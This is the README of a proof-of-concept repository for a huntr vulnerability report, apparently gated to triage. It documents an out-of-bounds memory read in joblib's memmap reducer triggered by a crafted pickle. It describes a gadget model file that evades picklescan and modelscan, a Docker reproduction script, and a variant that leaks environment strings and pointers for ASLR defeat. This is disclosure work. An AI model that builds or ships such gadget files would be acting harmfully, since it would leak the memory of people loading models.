| --- |
| license: mit |
| tags: |
| - security-poc |
| - huntr-mfv |
| - joblib |
| - memory-disclosure |
| --- |
| |
| # joblib-strided-memmap-poc |
|
|
| > Demonstrator artifact for huntr MFV report β joblib `_strided_from_memmap` |
| > in `joblib/_memmapping_reducer.py:241-280` calls |
| > `numpy.lib.stride_tricks.as_strided(base, shape, strides)` with attacker- |
| > controlled `shape` / `strides` from the pickle stream and **no bounds check**. |
| > When `shape * stride > base.nbytes`, the returned view dereferences process |
| > memory pages adjacent to the file-backed mmap region. |
| > |
| > Bypasses picklescan + modelscan. Discloses heap chunk metadata, glibc |
| > pointers, env-var fragments, and PIE base β full ASLR defeat for the loader. |
| |
| This repository is intentionally gated. Files are released only to |
| `protectai-bot` (huntr triage) for verification. |
| |
| ## Files |
| |
| - `model.joblib` β 136-byte gadget pickle. Holds an `OOBLeak` instance whose |
| `__reduce__` calls `_strided_from_memmap` with `shape=(32,)`, |
| `strides=(256,)`, `total_buffer_len=4096`, and the absolute path |
| `/tmp/leak_backing.bin`. picklescan and modelscan both report this file as |
| clean. |
| - `leak_backing.bin` β 4 KiB of `0xAA`. Simulates a benign data file shipped |
| alongside a model. Read in full and then OOB-traversed by the gadget. |
| - `build-poc.py` β Optional. Re-builds `model.joblib` + `/tmp/leak_backing.bin` |
| from scratch and runs the full picklescan / modelscan / `joblib.load` |
| evidence chain. Use this if you want to verify the artifacts were not |
| tampered with. |
|
|
| ## Reproduce locally (Docker) |
|
|
| ``` |
| docker run --rm -it -v "$PWD":/poc -w /poc python:3.12-slim bash -lc ' |
| pip install -q joblib==1.5.3 numpy picklescan modelscan && \ |
| cp leak_backing.bin /tmp/leak_backing.bin && \ |
| picklescan -p model.joblib && \ |
| modelscan -p model.joblib && \ |
| python -c " |
| import joblib |
| arr = joblib.load(\"model.joblib\") |
| data = bytes(arr) |
| file_bytes = data[:16].hex() |
| oob_bytes = data[16:].hex() |
| print(\"first 16 (file content, expect aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa):\", file_bytes) |
| print(\"last 16 (process memory, varies per run):\", oob_bytes) |
| import sys; sys.exit(0 if any(b != 0xAA for b in data[16:]) else 1) |
| " |
| ' |
| ``` |
|
|
| Expected output (the second hex string varies per run β that is the proof): |
|
|
| ``` |
| Infected files: 0 # picklescan clean |
| No issues found! π # modelscan clean |
| first 16 (file content, expect aa...): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa |
| last 16 (process memory, varies per run): 008090... # OOB leak |
| ``` |
|
|
| For the deeper variant that recovers ~240 OOB bytes per load (env-var strings |
| and PIE pointers visible), edit `build-poc.py` to use `shape=(256,)` and |
| `strides=(256,)` and re-run. |
|
|
| Affected: joblib 1.5.3 (PyPI latest, 2025-12-15) and joblib 1.6.dev0 (repo |
| HEAD `5d1653a`, 2026-03-03 β only intervening commit since 1.5.3 is a |
| dependabot github-actions bump). Sink: `joblib/_memmapping_reducer.py:241-280`. |
|
|
| Distinct from CVE-2024-34997 (different file, class, sink, primitive class β |
| RCE vs. info-disclosure). See huntr submission for the full writeup. |
|
|